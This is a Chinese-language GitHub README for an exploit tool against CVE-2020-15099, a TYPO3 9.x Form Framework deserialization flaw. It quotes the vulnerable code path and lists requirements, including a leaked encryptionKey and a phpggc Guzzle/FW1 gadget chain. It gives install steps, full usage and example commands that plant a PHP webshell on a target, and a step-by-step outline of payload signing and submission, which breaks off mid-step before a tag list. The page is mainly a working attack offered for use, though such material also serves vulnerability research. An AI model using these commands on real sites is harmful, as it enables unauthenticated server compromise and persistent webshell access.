StillSoul/CVE-2020-15099
GitHub: StillSoul/CVE-2020-15099
针对 TYPO3 9.0.0-9.5.19 版本 Form Framework 的未认证远程代码执行漏洞利用工具,需配合泄露的 encryptionKey 实现 PHP 反序列化攻击。
Stars: 0 | Forks: 0
# TYPO3 CVE-2020-15099 — 未认证 RCE
通过 TYPO3 Form Framework 前端控制器进行 PHP Object Injection,在已知 `encryptionKey` 的情况下可利用。
## 漏洞详情
TYPO3 版本 **9.0.0 – 9.5.19(在 9.5.20 中修复)** 在验证 HMAC 签名后,将通过用户控制的 `__state` 参数传递给 `unserialize()`。由于 HMAC 是使用 `LocalConfiguration.php` 中的 `encryptionKey` 计算的,因此获取该密钥的攻击者可以为任意序列化 payload 伪造有效签名并实现远程代码执行 —— **无需任何认证**。
漏洞代码路径位于 `FormRuntime.php`:
```
$serializedFormState = $this->hashService->validateAndStripHmac($serializedFormStateWithHmac);
$this->formState = unserialize(base64_decode($serializedFormState));
```
该漏洞利用 **Guzzle/FW1** gadget 链(可在 [phpggc](https://github.com/ambionics/phpggc) 中找到)将 PHP webshell 写入公开可访问的目录。
**参考:** [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007) · [Synacktiv write-up](https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution)
## 环境要求
| 要求 | 备注 |
|---|---|
| Python 3.10+ | 使用 `str \| None` 联合语法 |
| `requests` 库 | `pip install requests` |
| [phpggc](https://github.com/ambionics/phpggc) | Gadget chain 生成器 |
| Docker 及 `php:7.2-cli` 镜像 | 正确的 payload 序列化格式所需 |
| TYPO3 `encryptionKey` | 通过 `LocalConfiguration.php` 或备份/`.old` 文件泄露 |
| 一个 TYPO3 前端表单 | 任何使用 Form Framework 的未认证表单 |
## 安装
```
# 克隆此仓库
git clone https://github.com/youruser/CVE-2020-15099
cd CVE-2020-15099
# 安装 Python 依赖
pip install requests
# 克隆 phpggc
git clone https://github.com/ambionics/phpggc
# 拉取 PHP 7.2 Docker 镜像
sudo docker pull php:7.2-cli
```
## 用法
```
python3 typo3_exploit.py [options]
Required:
--target Base URL of the TYPO3 instance (e.g. http://target.com)
--key TYPO3 encryptionKey (96-char hex string)
--form-id Page ID of the page containing form (e.g. 38)
--form-name Form identifier attribute (e.g. contactForm-144)
--phpggc-dir Path to phpggc directory (e.g. ./phpggc)
--remote-path Absolute server path for the shell (e.g. /var/www/html/public/fileadmin/_temp_/shell.php)
--shell-url Public URL to access the shell (e.g. http://target.com/fileadmin/_temp_/shell.php)
Optional:
--shell-local Local temp path for shell file (default: /tmp/typo3_shell.php)
--no-docker Use local PHP binary instead of Docker
--php-bin Path to PHP 7.2 binary (default: php, used with --no-docker)
--timeout HTTP request timeout in seconds (default: 30)
--sleep Wait time after exploit before check (default: 3)
--no-shell Exit after uploading, skip interactive session
```
### 示例
```
python3 typo3_exploit.py \
--target http://target.com \
--key 712dd4d9c583482940b75514e31400c11bdcbc7374c8e62fff958fcd80e8353490b0fdcf4d0ee25b40cf81f523609c0b \
--form-id 38 \
--form-name contactForm-144 \
--phpggc-dir ./phpggc \
--remote-path /var/www/html/public/fileadmin/_temp_/shell.php \
--shell-url http://target.com/fileadmin/_temp_/shell.php
```
### 使用本地 PHP 7.2 二进制文件代替 Docker
```
python3 typo3_exploit.py \
--target http://target.com \
--key \
--form-id 38 \
--form-name contactForm-144 \
--phpggc-dir ./phpggc \
--remote-path /var/www/html/public/fileadmin/_temp_/shell.php \
--shell-url http://target.com/fileadmin/_temp_/shell.php \
--no-docker \
--php-bin /usr/bin/php7.2
```
## 工作原理
```
1. Fetch the form page
→ Extract fresh cHash (required by TYPO3 for cache validation)
→ Extract __trustedProperties (prevents BadRequestException)
2. Generate the gadget chain payload
→ phpggc Guzzle/FW1 writes the shell to --remote-path on the server
→ Must be generated with PHP 7.2 (Docker used by default)
3. Sign the payload
→ TYPO3 uses hash_hmac('sha1', payload, encryptionKey)
→ Appended as a 40-character hex suffix
4. POST the payload
→ Sent as tx_form_formframework[
标签:CISA项目, CMS漏洞, CVE-2020-15099, DNS 反向解析, Guzzle反序列化链, HMAC签名绕过, phpggc, PHP对象注入, PoC, Python, RCE, TYPO3, Webshell, 免认证攻击, 反序列化漏洞, 无后门, 暴力破解, 漏洞复现, 编程工具, 网络安全, 请求拦截, 远程代码执行, 隐私保护